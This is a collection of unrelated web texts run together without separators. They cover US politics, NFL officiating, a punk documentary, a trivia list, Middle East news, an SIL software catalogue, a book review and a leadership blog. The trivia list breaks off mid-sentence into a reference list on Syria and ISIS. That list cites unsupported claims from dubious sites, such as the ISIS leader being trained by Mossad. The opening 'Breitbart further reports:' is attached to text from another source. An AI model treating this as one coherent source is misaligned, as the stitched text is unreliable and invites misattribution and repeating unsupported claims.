Breitbart further reports:WASHINGTON — Shortly after President Trump took office, Senator Mitch McConnell of Kentucky, the majority leader, met privately with his colleagues to discuss the Republican agenda. Repealing the Affordable Care Act was at the top, he said. But replacing it would be really hard.
Mr. McConnell was right.
The many meetings Republicans held to discuss a Senate health care bill have exposed deep fissures within the party that are almost as large as the differences between Republicans and Democrats. Elements of a bill that passed the House this month have divided Republicans.
Mr. McConnell faces an increasingly onerous math problem. He can afford to lose only two Republicans if he is to get a bill through the Senate, and that would require the help of Vice President Mike Pence, who would have to cast the tiebreaking vote. But at least three senators in the party are diametrically opposed to the views of at least another three, so the path to agreement is narrow.
Republicans are roughly split over whether the expansion of Medicaid under the Affordable Care Act should be rolled back or continued, at least in the short run. They disagree about how the federal government should grant states more control over setting insurance standards.@LoftyKC NFL officials are facing heavy criticism today after a number of questionable calls during Sunday's games.
Sports Illustrated's Peter King said the officials "stunk" in his column today, and called for wholesale changes of the replay system.
Here are the three calls that have people fuming.
1. The Browns got called for pass interference in the end zone with 40 seconds left. The penalty set up a game-winning Patriots touchdown (via NewsNet5):
via News Net 5
Browns coach Rod Chudzinski was asked if he thought it was the right call, and he said, "I did not. I felt like those two were both jostling for the ball and obviously, the penalty was called. So, at the end of the day it doesn't really matter what I think."
2. Lions defensive tackle Nick Fairley got called for roughing the passer on a crucial play in the third quarter (via @guyism):
@guyism
Suh started his tackle while Foles still had the ball and immediately let go after contact. It shouldn't have been called.
3. Bengals running back Benjarvis Green-Ellis was given a touchdown on this play, even though a Colts player clearly touched him (via Bleacher Report):
Bleacher Report
This call — where the refs seemingly botched it even after replay review — has people talking about a play to make the replay system more centralized.
King reports that the league is seriously considering setting up a replay-review hub in New York City, where officials will review plays remotely and send the decisions back to the officials on the field.
It would speed up the game, and lessen the workload for the refs.
But that wouldn't happen until at least 2015.The poll suggests that men are angrier than women, and that their anger may be more motivating than the sense of hopelessness expressed by women, particularly on economic issues.
Photo
“I’m confused” about whom to vote for, one of the poll respondents, Diana Rhoads, 59, of Hallam, Pa., said in a follow-up interview. Ms. Rhoads, an independent who voted for President Obama, added: “I just don’t know who I can count on to move us in the direction I’d like to see the country go. Frankly, the financial problems are beyond our understanding.”
The political divide between men and women was bridged in 2006 when a wave of anti-Republican sentiment swept the country. In that year, when Democrats took control of the House and the Senate from Republicans, women made up 52 percent of the electorate and voted for Democrats by a 56 percent to 44 percent margin. Men followed suit, supporting the Democrats by a 52 percent to 48 percent margin.
Mr. Obama captured the male vote in 2008, the first time a Democratic presidential candidate had done so since 1992.
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But 2006 and 2008 may prove to be anomalies. Kathleen Dolan, a professor of political science at the University of Wisconsin, says that “while the story of the gender gap has often been told through the lens of the outsize support women have for Democrats, the flip side is the outsize support men have for Republicans.”
She said that if men returned this year to their historical tendency to vote Republican, it would undercut Democrats in the midterm election.
Times/CBS polls in the last six months have found pluralities of men identifying themselves as independents, while pluralities of women still say they are Democrats. Majorities of both men and women currently have a negative view of the Republican Party. Women, however, maintain their party loyalty and view the Democratic Party positively.
While there is some doubt that the discouraged women will turn out to vote on Nov. 2 in the same numbers they historically do, that is not the only wild card this year. The question remains as to whether the men who voted Democratic in 2006 and 2008 will return reliably to the Republican Party.
One such voter, Ray Barrow of Reston, Va., a 69-year-old independent who voted for Mr. Obama, said: “I’m enthusiastic about candidates that want to talk about fiscal conservatism. I am dissatisfied with the performance of both the president and the Democrat-controlled Congress. I’m going to vote for candidates who believe in fiscal conservatism and the right way to spend to create jobs.”The film is set for its world premiere May 31 at SF Docfest.
Turn it Around: The Story of East Bay Punk is the latest project to get the coveted Green Day co-sign. The exciting new doc tells the story of the hyper-influential San Francisco-area punk scene that nurtured numerous notable bands.
“In the mid-'90s, I found a home performing and volunteering at Green Day’s early stomping grounds, Berkeley’s 924 Gilman punk music collective,” director Corbett Redford tells Billboard. “In 2013, out of the blue, I got a message from my old friend Billie Joe [Armstrong]. He was on the search for some hard-to-find Green Day footage and thought that I might have known where to obtain it… I gathered the footage and delivered it to Billie. He asked me if I knew someone who could direct a documentary about the early years of the Gilman scene from which Green Day had emerged, and I immediately said, ‘Yes. I can direct it!’”
In addition to being executive produced by Green Day, Turn it Around features narration from Iggy Pop and a slew of guest commentary.
Other artists appearing in the visual include Kirk Hammett of Metallica, the Dead Kennedys' Jello Biafra and East Bay Ray, and Rancid's Tim Armstrong, Matt Freeman and Lars Frederiksen.
Find the trailer below (premiering exclusively via Billboard) followed by an excerpt from the doc's press release detailing release plans.
The feature documentary will have its world premiere as the opening night film of the 16th SF Docfest on May 31 followed by an initial one week theatrical run at the Alamo Drafthouse Cinema in San Francisco starting June 2. The hometown opening will be followed by screenings in cities across the USA in tandem with Green Day’s Revolution Radio World Tour, with the theatrical campaign launching in New York City in late July and culminating in Los Angeles in mid-September. In a unique release strategy, Turn it Around: The Story of East Bay Punk will “tour with the band” enabling theaters to be marketing partners with Green Day in promoting the film’s theatrical release and the band’s nationwide tour. Abramorama is handling theatrical distribution.
For more, check out the doc's official site.Here's a little-known fact: today is National Trivia Day! Let's celebrate with some of our favorite facts, pulled from our Amazing Fact Generator and the @mental_floss Twitter account.
1. Oscar the Grouch used to be orange. Jim Henson decided to make him green before the second season of Sesame Street. How did Oscar explain the color change? He said he went on vacation to the very damp Swamp Mushy Muddy and turned green overnight.
2. On Good Friday in 1930, the BBC reported, "There is no news." Instead, they played piano music.
3. The 3 Musketeers bar was originally split into three pieces with three different flavors: vanilla, chocolate and strawberry. When the other flavors became harder to come by during World War II, Mars decided to go all chocolate.
4. Fredric Baur invented the Pringles can. When he passed away in 2008, his ashes were buried in one.
5. In the 1980s, Pablo Escobar's Medellin Cartel was spending $2,500 a month on rubber bands just to hold all their cash.
6. When he appeared on Wait Wait...Don't Tell Me!, Bill Clinton correctly answered three questions about My Little Pony: Friendship Is Magic.
7. Johnny Cash's "A Boy Named Sue" was penned by beloved children's author Shel Silverstein.
8. Ben & Jerry learned how to make ice cream by taking a $5 correspondence course offered by Penn State. (They decided to split one course.)
9. M&M's actually stands for "Mars & Murrie's," the last names of the candy's founders.
10. Carly Simon's dad is the Simon of Simon and Schuster. He co-founded the company.
11. When the mummy of Ramses II was sent to France in the mid-1970s, it was issued a passport. Ramses' occupation? "King (deceased)."
12. In 1939, Hitler's nephew wrote an |
2012/08/08/255109/israel-wants-regime-change-in-syria/
6. Gharib, Ali (2012). McCain, Graham, Lieberman Unveil Resolution Calling For U.S. Help In Arming Syria Rebels. ThinkProgress. Retrieved 1 November 2015, from http://thinkprogress.org/security/2012/03/28/453965/mccain-lieberman-graham-resolution-arm-syria-rebels/
7. Norland, Rod (2012). Two Journalists Freed by Syrian Rebels After Weeklong Ordeal. Nytimes.com. Retrieved 1 November 2015, from http://www.nytimes.com/2012/07/28/world/middleeast/jeroen-oerlemans-john-cantile-two-journalists-freed-by-islamic-fighters-in-syria-after-weeklong-ordeal.html
8. Rosenthal, John (2012). Asia Times Online :: Middle East News, Iraq, Iran current affairs. Atimes.com. Retrieved 1 November 2015, from http://www.atimes.com/atimes/Middle_East/NG24Ak02.html
9. McAdams, Daniel (2012). Syrian Opposition's Amazing CIA Credentials « LewRockwell.com Blog.Web.archive.org. Retrieved 1 November 2015, from https://goo.gl/Ly1YwX
10. Chossudovsky, Michel (2012). Anglo-American 1957 Secret Plan to Assassinate the Syrian President. Déjà Vu?. Global Research. Retrieved 1 November 2015, from http://www.globalresearch.ca/anglo-american-1957-secret-plan-to-assassinate-the-syrian-president-d-j-vu/32254
11. Chulov, M., MacAskill, E., & Densky, J. (2012). Saudi Arabia plans to fund Syria rebel army. the Guardian. Retrieved 1 November 2015, from http://www.theguardian.com/world/2012/jun/22/saudi-arabia-syria-rebel-army
12. Rabil, R. (2012). Salafists Rise in Syria. The National Interest. Retrieved 1 November 2015, from http://nationalinterest.org/commentary/the-salafist-rise-7300
13. Doherty, R., & Bakr, A. (2012). Exclusive: Secret Turkish nerve center leads aid to Syria rebels.Reuters. Retrieved 1 November 2015, from http://www.reuters.com/article/2012/07/27/us-syria-crisis-centre-idUSBRE86Q0JM20120727
14. Presstv.com,. (2012). PressTV-Israel backs armed gangs in Syria. Retrieved 1 November 2015, from http://www.presstv.com/detail/2012/06/10/245450/peres-backs-armed-groups-in-syria/
15. Williams, L. (2012). 13 French officers being held in Syria. The Daily Star Newspaper - Lebanon. Retrieved 1 November 2015, from http://www.dailystar.com.lb/News/Middle-East/2012/Mar-05/165514-13-french-officers-being-held-in-syria.ashx
16. RT English (2012). British, Qatari troops already waging secret war in Syria?. Retrieved 1 November 2015, from https://www.rt.com/news/britain-qatar-troops-syria-893/
17. Howell, K. (2015). U.S.-trained rebels in Syria hand over weapons to al Qaeda affiliate. The Washingtion Times. Retrieved 1 November 2015, from http://www.washingtontimes.com/news/2015/sep/22/us-trained-rebels-syria-hand-over-weapons-al-qaeda/
18. For the ideological differences between Wahhabism and Sunni Islam see: Differencebetween.net,. (2015). Difference Between Sunni and Wahabi. Retrieved 1 November 2015, from http://www.differencebetween.net/language/difference-between-sunni-and-wahabi/
19. Crooke, A. (2014). You Can't Understand ISIS If You Don't Know the History of Wahhabism in Saudi Arabia. The Huffington Post. Retrieved 1 November 2015, from http://www.huffingtonpost.com/alastair-crooke/isis-wahhabism-saudi-arabia_b_5717157.html. See this for how Saudi Arabia which follows the Wahhabi sect discriminates against Arab Sunnis: Wilcke, C. (2008). Christoph Wilcke: Discrimination against Ismailis in Saudi Arabia. the Guardian. Retrieved 1 November 2015, from http://www.theguardian.com/commentisfree/2008/sep/22/religion.islam
20. Watson, P. (2012). Syrian Rebels Ransack Christian Churches. infowars. Retrieved 1 November 2015, from http://www.prisonplanet.com/syrian-rebels-ransack-christian-churches.html
21. "Cleric Ahmed al-Kubaisi calls for fight against ‘Daesh’ in Iraq." 2014. In Arabic. Accessed on 25 Oct. 2015. from http://www.qanon302.net/news/politics/2014/06/10/20681
22. ISIS killed a Top Sunni cleric see: RT English,. (2013). Top pro-Assad Sunni cleric killed as attack on Damascus mosque kills 42. Retrieved 1 November 2015, from http://www.rt.com/news/damascus-mosque-suicide-attack-615/ and blew up a Sunni police station: Liveleak.com (2015). LiveLeak.com - Captagon Terrorist losin' it as Police Station blown up in Sunni Mosul. Retrieved 1 November 2015, from http://www.liveleak.com/view?i=2bd_1385183593 killing Sunni children among many others BBC News (2014). Syria conflict: Amnesty says ISIS killed seven children in north - BBC News. Retrieved 1 November 2015, from http://www.bbc.co.uk/news/world-middle-east-27726035
23. Bukowski, D. (2015). THE COVERT ORIGINS OF ISIS: UNITED STATES, CIA IN LIBYA, SYRIA, IRAQ, AFGHANISTAN. VOICE OF DETROIT. Retrieved 1 November 2015, from http://voiceofdetroit.net/2015/02/09/the-covert-origins-of-isis-united-states-cia-in-libya-syria-iraq-afghanistan/#sthash.LlT3W9TY.dpuf
24. Watson, Paul Joseph. U.S. General: “We Helped Build ISIS” – Islamic State Obtained Weapons from U.S. Consulate in Benghazi, Libya. Global Research. (Online) September 3, 2014. http://www.globalresearch.ca/u-s-general-we-helped-build-isis-islamic-state-obtained-weapons-from-u-s-consulate-in-benghazi-libya/5399141?utm_source=rss&utm_medium=rss&utm_campaign=u-s-general-we-helped-build-isis-islamic-state-obtained-weapons-from-u-s-c.
25. ISIS Leader Abu Bakr Al Baghdadi Trained by Israeli Mossad, NSA Documents Reveal. Global Research. (Online) July 16, 2014. http://www.globalresearch.ca/isis-leader-abu-bakr-al-baghdadi-trained-by-israeli-mossad-nsa-documents-reveal/5391593.
26 Syria civil war: The Israeli hospitals treating wounded soldiers from the violence across the border. The Independent. (Online) March 19, 2015. (Cited: September 20, 2015.) http://www.independent.co.uk/news/world/middle-east/syria-civil-war-the-israeli-hosapitals-treating-wounded-soldiers-from-the-violence-across-the-border-10121010.html.
27. Haşmet Babaoğlu. Who benefits from ISIS’s existence in the Middle East? Daily Sabah. (Online) August 22, 2014. (Cited: September 21, 2014.) http://www.dailysabah.com/columns/hasmet-babaoglu/2014/08/22/who-benefits-from-isiss-existence-in-the-middle-east.
28. U.S. accidentally delivered weapons to the Islamic State by airdrop, militants say. Washington Post. (Online) October 21, 2014. (Cited: September 21, 2015.) https://www.washingtonpost.com/news/checkpoint/wp/2014/10/21/u-s-accidentally-delivered-weapons-to-the-islamic-state-by-airdrop-militants-allege/.
29. Are American Planes Routinely Dropping Weapons to ISIS Fighters in Iraq? Freedom Out Post. (Online) January 8, 2015. (Cited: September 20, 2015.) http://freedomoutpost.com/2015/01/american-planes-routinely-dropping-weapons-isis-fighters-iraq/.
30. Amre Sarhan. American aircraft dropped weapons to ISIS, says MP. Iraqi News. (Online) January 4, 201f. (Cited: September 21, 2015.) http://www.iraqinews.com/iraq-war/american-aircraft-airdropped-weapons-to-isis-says-mp/
31. "We're losing to ISIS because Obama has no will to fight" The New York Post 2015. 25 Oct. 2015 <http://nypost.com/2015/06/14/were-losing-to-isis-because-we-have-no-strength-of-will-to-fight-it/>
32. "Special Ops to Obama: Let Us Fight ISIS, Already" The Daily Beast 2015. 25 Oct. 2015 <http://www.thedailybeast.com/articles/2015/05/22/special-ops-to-obama-let-us-fight-isis-already.html>
33. "Obama Has Not Done a 'Damn Thing' to Confront ISIS, Iranian Commander Says" Fox News 2015. 25 Oct. 2015 <http://nation.foxnews.com/2015/05/25/obama-has-not-done-damn-thing-confront-isis-iranian-commander-says>Turkish President Recep Tayyip Erdogan has accepted the government’s resignation on Tuesday, asking Prime Minister Ahmet Davutoglu to stay on in his post until a new Cabinet is formed.
The prime minister’s resignation is a standard procedure after Sunday’s parliamentary election before the new government starts operating, the Turkish president’s office said.
“The president thanked the government for its work to date. [The acting] Cabinet will continue working until the new government is put together,” Erdogan’s office said in a statement, Tass reported.
After a swearing-in ceremony on June 25, the new Turkish parliament members will have 45 days to agree on the composition of the cabinet.
If they fail to form a government by that deadline, Erdogan has the power to call a new parliamentary election.
After the announcement of the preliminary results of Turkey’s parliamentary election it became clear that Erdogan’s Justice and Development Party (AKP) had fallen short of a majority for the first time in 12 years.
According to Turkey’s NTV channel, AKP claimed some 41 per cent of the votes, a loss of 9 percentage points, which will only allow it to occupy 258 seats in the country’s 550-seat Grand National Assembly.
Erdogan’s party will now face the prospect of entering a coalition with one of the three opposition parties that passed the 10 percent barrier necessary to enter parliament.
READ MORE: Erdogan’s AKP loses majority in Turkish election, pro-Kurdish party enters parliament for 1st time
The Republican People’s Party (CHP) has preliminarily garnered about 25 percent of the vote (a rise of 4 percentage points), taking about 130 seats in parliament.
The Nationalist Movement Party (MHP) took about 17 percent (an increase of 3 percentage points), claiming a little over 80 seats.
For the time in Turkish history a pro-Kurdish party, the People’s Democratic Party (HDP), has made it into the parliament, with around 13 percent of the vote.
The official results of the election are set to be announced 11 or 12 days after Sunday’s vote.
READ MORE: What the Kurdish minority’s parliamentary triumph means for TurkeyImage copyright Getty Images Image caption John Kerry has recently met a number of top Israeli officials, including Moshe Yaalon, far left
The US has condemned as "offensive" comments by Israel's defence minister about Secretary of State John Kerry's Middle East peace proposals.
Moshe Yaalon was quoted by an Israeli newspaper as saying Mr Kerry was acting out of "misplaced obsession and messianic fervour".
He later issued an apology, saying he "had no intention to cause offence".
The White House said the alleged comments were "inappropriate" given America's support to Israel's security.
It was a rare rebuke to America's ally.
A statement issued by Mr Yaalon's office said: "The defence minister... apologises if the secretary was offended by words attributed to the minister."
Israel and the US shared "a common goal" of advancing peace talks with the Palestinians, the statement said.
"We appreciate Secretary Kerry's many efforts towards that end."
'Framework' plan
Mr Yaalon's alleged comments were first published by Israel's Yediot Ahronot newspaper.
He said a security plan Mr Kerry had presented to Israel was "not worth the paper it was written on".
"John Kerry - who has come to us determined and is acting out of an incomprehensible obsession and messianic fervour - cannot teach me anything about the conflict with the Palestinians," he was quoted as saying.
Israeli-Palestinian talks Palestinian team leaders: Saeb Erekat and Muhammed Shtayyeh
Saeb Erekat and Muhammed Shtayyeh Israeli team leaders: Tzipi Livni and Isaac Molcho
Tzipi Livni and Isaac Molcho US mediators: Martin Indyk and Frank Lowenstein
Martin Indyk and Frank Lowenstein Key issues: Status of Jerusalem; borders; security arrangements; settlements and possible land swaps; Palestinian refugees Q&A: Israeli-Palestinian talks
Mr Yaalon made his comments in private conversations in Israel and the US, the Israeli newspaper said.
White House spokesman Jay Carney accused the minister of misrepresenting Mr Kerry's proposals.
"Secretary Kerry and his team have been working non-stop in their efforts to promote a secure peace for Israel because of the deep concern the United States has, and the deep commitment the United States has for and to Israel's future and the Israeli people.
"To question his motives and distort his proposals is not something we would expect from the defence minister of a close ally."
Mr Yaalon's comments also drew criticism from Mr Netanyahu.
"Even when we have disagreements with the United States, they always pertain to the matter at hand, and are not personal," Mr Netanyahu said in parliament, referring to Mr Yaalon, a member of his right-wing Likud party.
Mr Kerry has made a series of visits to the Middle East in recent months in an attempt to inject momentum into Israeli-Palestinian peace talks re-launched last July.
But the talks have so far shown little sign of progress.
Earlier this month, Mr Kerry held talks with Israeli and Palestinian representatives in an effort to secure a "framework" for a final Israeli-Palestinian peace agreement.
He hoped to achieve consensus on core issues - including security, borders, Jerusalem and Palestinian refugees - so progress could be made towards signing a comprehensive treaty by April, US officials said.
Mr Kerry's peace proposals reportedly include security arrangements in the Jordan Valley - between a future Palestinian state and Jordan.
However, Israel is said to be demanding that it maintains a military presence under any future peace deal with the Palestinians.
While the peace talks have been continuing, Israel last week announced plans to build 1,400 new homes in Jewish settlements in the West Bank and East Jerusalem.
Palestinian negotiator Saeb Erekat said it showed "Israel's clear commitment to the destruction of peace efforts".
A dispute over settlement construction led to the collapse of the last peace talks.
About 500,000 Jews live in more than 100 settlements built since Israel's 1967 occupation of the West Bank and East Jerusalem. The settlements are considered illegal under international law, though Israel disputes this.It’s no secret that Bernie Sanders’ fans are both loyal and rabid. But as of late the Vermont senator hasn’t been able to quite capture the same fire that he had with those early ‘Feel the Bern’ rallies. Some blame it on his first debate with Hillary Clinton, where the 74-year-old appeared more than cordial to his opponent and her criminal history with private servers. Others dismissed his campaign as a soon-to-be meme. A positive ‘Kony 2012’ for the left.
But after falling into a slump that seemingly lasted months, Sanders is finally starting to make progress again.
Sanders has officially taken the lead in New Hampshire and is winning by quite a stretch in Iowa. Not only that, but according to the latest Monmouth University survey, Clinton is supported by 52% of liberal voters whereas Sanders now gets 37% support among Democratic voters, up 11 points from last month’s survey.
There is still quite a climb but since Saturday’s debate there have been some stirrings about the upcoming election and its possible retreading over the 2008 primaries, where Clinton had a sizable lead over a young Barack Obama–only to be trampled in the end.
Will history repeat itself? Or will Clinton’s campaign finally clinch the nomination, and possibly the presidency?
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FacebookSIL has produced software that enables peoples of the world to use the computer in their mother language.
In order to have a complete index, the whole range of SIL software is covered here, from the state-of-the-art linguistic analysis program to ancient text processing tools that are only of historic interest. Searching for software by linguistic task, interface language, license or operating system can be done through LingTranSoft, which includes all SIL Software, plus other software used to support language development and translation tasks.
Please contact the Language Technology team if you have questions or need assistance.
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Bloom
Learning to read takes books. Learning to read well, and developing a love of reading, takes lots of books. Books at all different skill levels. But how are low-literacy language communities ever to get all those books in their language? They can do it with Bloom.
FLEx (FieldWorks Language Explorer)
Enables linguists to be highly productive when building a lexicon and interlinearizing texts. Powerful bulk editing tools can save hours of work. FLEx allows control of which fields and entries show up in a dictionary publication. Through Pathway, beautiful dictionaries can be exported easily. Send/Receive Project allows users to collaborate with colleagues located anywhere.
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Keyman
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Allows you to input, edit, check, and publish a translation of the Scriptures, based on the original texts (Greek, Hebrew), and modeled on versions in major languages.
SayMore
Recording speakers of the world’s languages is fun and rewarding, but keeping all the resulting files and meta data organized? Converting files to archive formats? Transcription? Painful. That's why we built SayMore – to make common Language Documentation tasks fun and to keep you productive.
Scripture App Builder
Helps you build customized Scripture apps for Android smartphones and tablets. You specify the Scripture files to use, the app name, the fonts, the colors, the audio and the icon. Scripture App Builder will package everything together and build the app for you.
SILKin
Helps field workers analyze and document the kinship structure and terminology used in the language of another culture.
Tagmukay
A high-quality Shifinagh font that supports the Tawallammat dialect of Tamajaq.
Translators Workplace
A collection of Biblical resources chosen specially for Bible Translators by SIL, and offered through partnership as a library in Logos Bible Software.
WeSay
Helps non-linguists build a dictionary in their own language. It has various ways to help native speakers to think of words in their language and enter some basic data about them (no backslash codes, just forms to fill in).
Web Applications
Other Supported Software
SIL International recommends that people use this software to accomplish their language processing tasks. This software is maintained and updated. In addition, technical support may be received from the application developer(s).
Other Fonts
Unsupported Software
Unsupported software is available to use on an “as is” basis. The software may be helpful to accomplish tasks for which it was designed. However, due to limited resourcing, SIL will not provide support or bug fixes for the software.
ComparaLex
An online lexical database of language word list data with audio samples for linguistic analysis and historical and comparative linguistic reconstruction.
Dekereke
A Windows tool for phonological fieldwork. It is useful for investigating phonotactic generalizations by generating a variety of charts of consonants, vowels, tone melodies, and syllable patterns.
Flashgrid
An add-on for the popular flashcard program Anki. It adds the ability to drill by selecting from a grid (similar to Rosetta Stone or Vocabulary Manager).
Haiola
Convert Unicode USFM files, unzipped ETEN DBL bundles, or USFX files to produce HTML, EPUB3 files, Crosswire Sword Project modules, Microsoft Word XML, PDF files, or other formats.
IPA Help
A useful, simple tool for learning to recognize, transcribe, and produce the sounds of the International Phonetic Alphabet (IPA).
KeyLayoutMaker
A Perl script that provides a quick way to create at least a first draft of an XML keyboard layout file (.keylayout) for Mac OS X version 10.2 or later.
Lexique Pro
Don't keep your lexicon to yourself! Share it with others! You've spent years working on your dictionary, but how easy is it for others to make the most of it? Lexique Pro is all about making your data usable, accessible and easy to share with others.
LIFT Tools
A set of assorted utilities for LIFT files that provides a way to make certain kinds of bulk edits to data used by FLEx, WeSay and Lexique Pro.
myWorkSafe
Aims to provide a zero-configuration backup system primarily for language development workers.
OpenOffice Linguistic Tools
An add-on that provides a menu of tools for linguistic writeups and other documents written in lesser-known languages.
PC-PATR Browser
A tool that makes it much easier to see the results of syntactic parses produced by the PC-PATR program.
PDFDroplet
A simple little tool which makes it delightfully easy to make booklets! Create your document as normal, without worrying about booklet layout issues.
SheetSwiper
Converts spreadsheets containing linguistic data to Standard Format (for use with Linguist's Toolbox, Phonology Assistant, Lexique Pro, etc.).
SILAS
A Microsoft Word template to provide smarter and safer layout of RTF files exported from Paratext, Adapt It or Fieldworks Translation Editor.
Speech Analyzer
Facilitates acoustic analysis of speech sounds.
Unicode Character Count
A quick-and-dirty Unicode-aware replacement for Ccount, the character count utility. The program is available both as the Perl source, and as a standalone Windows EXE.
Vocabulary Manager
A multimedia tool for learning vocabulary. It is an electronic flash card system with audio.
XeTeX
A typesetting system based on a merger of Donald Knuth's TeX system with Unicode and modern font technologies.
Discontinued Software
Discontinued software has been deprecated. Because there are those who still rely on this software, or there exists data that was created using discontinued software, we retain the software in the event it must be used. We, however, strongly recommend migrating your data to one of our currently supported tools that supports the same task.I wasn't sure what I expected from this book. I have been a Ranger fan from their beginnings so I was eager to learn more about the organization. I haven't been a big fan of Lewin and with him no longer calling the games, I thought the book may be somewhat negative about the organization. I didn't really learn anything new about the organization. It was more of a trip down memory lane with an old friend. The book did change my opinion of Lewin. I never doubted his passion for the game and the team because it came through loud and clear during the broadcasts. What I never knew about was his path to get where he was and the battles that he faced when it all came to an end and how he continues to fight to overcome them. I now have a lot of respect for him and I hope more of the people who were critical of his performance will read this book. His detractors will never admit it, but I bet a majority of them still say what Josh said after a win. BALLGAME!Nothing is more destructive to a leader than his ego. Our ego is never more present that in an argument.
It’s our ego that insists our idea is the best, that we know the answer, that people just need to do what we say and everything will be good.
It’s our ego that makes us say snarky, sarcastic, cruel things to the people we love the most.
And it’s our ego that makes us get the last word in and do whatever it takes to “win” the argument.
Here’s a secret. You don’t win an argument by being right. You win an argument by being humble and curious.
This small change can dramatically transform the results you get in your business and your life.
Here’s how arguments normally work:
Two people have a conversation ; it could be two strangers, a husband and wife, two co-workers, even a mother and child.
One or both of them don’t feel heard, so they get angry. The argument escalates as each of them try to get the other person to understand their point of view.
The argument ends with hurt feelings on both sides
Here’s how to short circuit that normal argument cycle:
1. Change your objective for the conversation
If your goal of the conversation is to get your point across, you’re probably both going to lose.
Instead, your goal should be curiosity…to seek to understand where they are coming from and why they think that way. It doesn’t mean that you have to agree with them. But if you spend the conversation asking questions and honestly seeking to understand their perspective, not only will you learn a lot, but they will also be much more open to hearing what you think.
Unhealthy conflict is any conflict in which both sides are willing to do anything to force their will, or viewpoint on the other.
Healthy conflict is any conflict in which both sides seek to understand what the other truly thinks and why they think it.
Healthy conflicts are much more likely to result in a win/win outcome.
Unhealthy conflicts are much more likely to result in anger, frustration, and failure.
2. Stop making it about you
If you spend the argument taking it personally and being defensive all you do is perpetuate the two of you not hearing each other.
Instead, practice humility. Understand that the other person’s perspective, frustration, or even anger isn’t about you…it’s about them.
Men are the worst at this. Call it machismo, testosterone, or whatever. But strong, grown men turn into petulant little boys when we feel like we aren’t being heard.
Gentlemen, knock that shit off!
Get over yourself.
It’s not about you.
It’s not even your job to fix whatever their problem is. It is however, your job to ask questions, to listen, and to help the two of you get clarity.
What Next?
Suck it up and act like a leader.
This humble/curious approach to arguing is really difficult.
To humble yourself enough to not make it about you, to seek to understand instead of being “right”…those are almost causes for sainthood.
Part of the reason this approach is so powerful is that it is so difficult that almost nobody does it.
It takes immense confidence and strength to pull off. But the results are life-changing.
Just remember, every time you do whatever it takes to “win” an argument, you sacrifice the long-term relationship and results for the short-term righteous feeling that comes with getting the last word in.
When you seek to understand more than you care about being heard, you lay the foundation for trust, intimacy, love and all the good things we want in our lives.
The magical thing about this is that they are much more likely to listen to you and to even change their minds and agree with you, if you just stop trying to convince them that you’re right.
Until next time, go win a few arguments, and let me know how it goes.
LIKE IT? SHARE IT.Trestin Meacham, from Central Utah, isn’t happy about the recent same sex marriage ruling in Utah by Federal Judge Shelby. He’s upset for a couple of reasons. He believes that the ruling of the Federal Government taking control of a states issue is unconstitutional, AND, he thinks that Same Sex Marriage is a slippery slope that will eventually force the Mormon church to marry homosexuals within the walls of their sacred temples.
He is so upset he’s lost his appetite. Not really. He made the choice to stop eating altogether. Meacham plans to fast until the ruling is over thrown. “The Constitution is literally hanging by a thread and I made an oath while serving in the military to protect this country’s constitution” said Meacham.
Meacham has already lost 26lbs from his 13 day diet of only water and an occasional vitamin. He is committed to death to protect the state of Utah’s right to ban same-sex marriage.
Richie T/@RichieTSteadman/@TheCulturalHallTwo days ago the House of Representatives voted 342 to 80 in favor of a resolution denouncing the Obama administration’s decision to abstain on the UN Security Council condemnation of Israeli settlements late last year. The House resolution called the UN resolution “one-sided and anti-Israel.” And if that wasn’t enough, the House said the UN had violated the Oslo accord; was wrong to describe Jerusalem, including the western wall, the most sacred site in Judaism, as occupied territory; and had lent “legitimacy” to the Boycott, Divestment and Sanctions movement (BDS).
The resolution got the support of many Democrats, including young stars of the party, co-sponsors Rep. Adriano Espaillat, the new congressman replacing Charlie Rangel in Harlem, and Rep. Josh Gottheimer, a New Jersey Clintonite and one of the few Democratic challengers to win in the last election. Also, sadly, my congressman, Sean Patrick Maloney, voted for the resolution. As did Sheila Jackson Lee of Houston and Hakeem Jeffries of Brooklyn. Blame the donors.
In a particularly unfortunate moment, Brad Schneider of Illinois, who is Jewish, said, “It is impossible to separate Jewish identity from the Western Wall or the Western Wall from its Jewish identity or Jerusalem from the Jewish state of Israel.” While Nita Lowey of New York called the U.S. abstention “a stain” on the American record of supporting Israel.
But I try to be glass-half-full here; and I’d point to a couple of upsides of the vote. It was overwhelming, but it wasn’t thunderous. Eighty congresspeople resisted, including Keith Ellison and Nancy Pelosi. The list of those who voted against includes strong progressive voices in the Democratic Party, who hear what the base is saying. And the Democratic base is overwhelmingly in favor of a UN resolution against settlements; and a majority support sanctions against Israel; and are far more sympathetic to Palestinians than to Israelis.
Among those Congresspeople were Ellison, Anna Eshoo, Tulsi Gabbard, Justin Amash (Republican), Raul Grijalva, Luis Gutierrez, Steve Cohen, Peter Welch, Lloyd Doggett, Debbie Dingell, Hank Johnson Jr., Marcy Kaptur, Betty McCollum, Gregory Meeks, Pelosi, Jim McGovern, Maxine Waters, Earl Blumenauer, Louise Slaughter, Jan Schakowsky, John Yarmuth, Walter Jones (another Republican), and Rick Nolan. Three of the five Democrats from Minnesota voted against; that’s a sign of where the party base is going. Also, several of those opponents are Jewish.
Some of these congresspeople gave eloquent speeches against the resolution, during about three hours of debate. And one of the themes of the opposition was that Israel is isolating itself in the world, and that unquestioning American support facilitates that isolation.
John Yarmuth of Kentucky said he’d been to Israel and seen the settlements and there was an American interest in stopping the colonization.
“Some seem to believe that the U.S.’s friendship means the U.S. must accept any policy, regardless of our own interest, our own positions, our own words, our own principles, even after urging again and again that the policy must change. [per Kerry]” Prime Minister Netanyahu has not treated the Obama administration with respect, and this resolution does not offer the American people the honest true debate we should be having about this critically-important issue.
Luis Gutierrez of Chicago gave the most stirring speech, on the intolerant politics of Israel and the pressures brought to bear on U.S. policy. He referred to theft of Palestinian water, and efforts to restrict on the Muslim call to prayer.
But under the current strong man government in Israel, all pretenses and illusions are being stripped away, from settlements to water to restricting the Muslim call to prayer in Jerusalem. And today as American embarks on its own experiment with strong man politics, this Congress is falling in line. This Congress that allowed our chamber to be used for an Iraeli campaign rally and TV commercials is bending to pressure from abroad and pressure at home.
And two western congressmen emphasized Israel’s isolation, witness the unanimous vote at the U.N.
Earl Blumenauer of Oregon spoke of Israel “confiscating” land, and the unanimity of the Security Council resolution.
